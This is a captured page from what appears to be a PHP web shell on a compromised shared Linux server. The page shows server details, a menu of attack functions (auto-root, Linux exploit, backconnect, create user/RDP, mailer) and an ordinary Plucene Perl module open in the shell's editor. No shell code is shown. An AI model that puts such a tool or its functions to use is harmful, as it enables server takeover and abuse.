Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Plucene /
Index /
[ HOME SHELL ]
Name
Size
Permission
Action
DocumentWriter.pm
4.15
KB
-rw-r--r--
FieldInfos.pm
3.95
KB
-rw-r--r--
FieldsReader.pm
1.83
KB
-rw-r--r--
FieldsWriter.pm
2.79
KB
-rw-r--r--
Reader.pm
4
KB
-rw-r--r--
SegmentInfo.pm
909
B
-rw-r--r--
SegmentInfos.pm
2.42
KB
-rw-r--r--
SegmentMergeInfo.pm
2.49
KB
-rw-r--r--
SegmentMerger.pm
4.58
KB
-rw-r--r--
SegmentReader.pm
6.73
KB
-rw-r--r--
SegmentTermDocs.pm
2.82
KB
-rw-r--r--
SegmentTermEnum.pm
3.16
KB
-rw-r--r--
SegmentTermPositions.pm
2.88
KB
-rw-r--r--
SegmentsReader.pm
6.7
KB
-rw-r--r--
SegmentsTermEnum.pm
1.6
KB
-rw-r--r--
Term.pm
1.45
KB
-rw-r--r--
TermInfo.pm
902
B
-rw-r--r--
TermInfosReader.pm
3.39
KB
-rw-r--r--
TermInfosWriter.pm
3.65
KB
-rw-r--r--
Writer.pm
7.98
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SegmentsTermEnum.pm
package Plucene::Index::SegmentsTermEnum; =head1 NAME Plucene::Index::SegmentsTermEnum =head1 METHODS =head2 new / term / doc_freq / next as per TermEnum =cut # This only appears to be used with doing wildcard searches. use strict; use warnings; use Tie::Array::Sorted; use Plucene::Index::SegmentMergeInfo; sub term { $_[0]->{term} } sub doc_freq { $_[0]->{doc_freq} } sub new { my ($class, $readers, $starts, $t) = @_; tie my @queue, "Tie::Array::Sorted"; for my $i (0 .. $#{$readers}) { my $reader = $readers->[$i]; my $term_enum = $reader->terms($t); my $smi = Plucene::Index::SegmentMergeInfo->new($starts->[$i], $term_enum, $reader); if (!$t ? $smi->next : $term_enum->term) { # ??? push @queue, $smi; } } my $self = bless { queue => \@queue }, $class; if ($t and @queue) { my $top = $queue[0]; $self->{term} = $top->term_enum->term; $self->{doc_freq} = $top->term_enum->doc_freq; } return $self; } sub next { my $self = shift; my $top = $self->{queue}[0]; if (!$top) { undef $self->{term}; return; } $self->{term} = $top->term; $self->{doc_freq} = 0; while ($top && $self->{term}->eq($top->term)) { $self->{doc_freq} += $top->term_enum->doc_freq; # This might look funny, but it's right. The pop takes $top off # the queue, and when it has ->next called on it, its comparison # value changes; the queue is tied as a Tie::Array::Sorted, so # when it gets added back on, it may be put somewhere else. pop @{ $self->{queue} }; if ($top->next) { unshift @{ $self->{queue} }, $top; } $top = $self->{queue}[0]; } return 1; } 1;
Close